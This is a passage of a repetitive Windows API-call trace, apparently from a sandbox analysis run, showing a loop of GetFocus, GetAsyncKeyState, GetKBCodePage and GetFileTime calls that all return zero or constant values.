lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.550] GetFocus () returned 0x0 [0223.550] GetAsyncKeyState (vKey=58) returned 0 [0223.550] GetKBCodePage () returned 0x1b5 [0223.550] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.551] GetAsyncKeyState (vKey=58) returned 0 [0223.551] GetKBCodePage () returned 0x1b5 [0223.551] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.551] GetAsyncKeyState (vKey=58) returned 0 [0223.551] GetKBCodePage () returned 0x1b5 [0223.551] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.551] GetAsyncKeyState (vKey=58) returned 0 [0223.551] GetKBCodePage () returned 0x1b5 [0223.551] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.551] GetAsyncKeyState (vKey=58) returned 0 [0223.551] GetKBCodePage () returned 0x1b5 [0223.551] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.551] GetAsyncKeyState (vKey=58) returned 0 [0223.551] GetKBCodePage () returned 0x1b5 [0223.551] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.551] GetAsyncKeyState (vKey=58) returned 0 [0223.551] GetKBCodePage () returned 0x1b5 [0223.551] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.551] GetAsyncKeyState (vKey=58) returned 0 [0223.551] GetKBCodePage () returned 0x1b5 [0223.551] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.551] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.552] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.552] GetFocus () returned 0x0 [0223.552] GetAsyncKeyState (vKey=58) returned 0 [0223.552] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.553] GetFocus () returned 0x0 [0223.553] GetAsyncKeyState (vKey=58) returned 0 [0223.553] GetKBCodePage () returned 0x1b5 [0223.553] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.554] GetFocus () returned 0x0 [0223.554] GetAsyncKeyState (vKey=58) returned 0 [0223.554] GetKBCodePage () returned 0x1b5 [0223.554] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.555] GetKBCodePage () returned 0x1b5 [0223.555] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.555] GetKBCodePage () returned 0x1b5 [0223.555] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.555] GetKBCodePage () returned 0x1b5 [0223.555] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.555] GetKBCodePage () returned 0x1b5 [0223.555] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.555] GetKBCodePage () returned 0x1b5 [0223.555] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.555] GetKBCodePage () returned 0x1b5 [0223.555] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.555] GetKBCodePage () returned 0x1b5 [0223.555] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.555] GetFocus () returned 0x0 [0223.555] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.556] GetFocus () returned 0x0 [0223.556] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.556] GetFocus () returned 0x0 [0223.556] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.556] GetFocus () returned 0x0 [0223.556] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.556] GetFocus () returned 0x0 [0223.556] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.556] GetFocus () returned 0x0 [0223.556] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.556] GetFocus () returned 0x0 [0223.556] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.556] GetFocus () returned 0x0 [0223.556] GetAsyncKeyState (vKey=58) returned 0 [0223.556] GetKBCodePage () returned 0x1b5 [0223.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.557] GetAsyncKeyState (vKey=58) returned 0 [0223.557] GetKBCodePage () returned 0x1b5 [0223.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.557] GetAsyncKeyState (vKey=58) returned 0 [0223.557] GetKBCodePage () returned 0x1b5 [0223.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.557] GetAsyncKeyState (vKey=58) returned 0 [0223.557] GetKBCodePage () returned 0x1b5 [0223.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.557] GetFocus () returned 0x0 [0223.557] 